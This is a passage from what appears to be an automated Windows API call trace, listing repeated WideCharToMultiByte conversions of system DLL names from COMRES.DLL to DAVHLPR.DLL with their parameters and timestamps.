WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0xb3c310, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0xb3c1a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0xb3c310, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0xb3c1a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0xb3c310, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0xb3c310, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0xb3c310, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0xb3c310, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0xb3c1a8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0xb3c310, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0xb3c1a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0xb3c310, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0xb3c310, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0xb3c1a8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0xb3c310, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0xb3c310, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0xb3c1a8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0xb3c310, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, 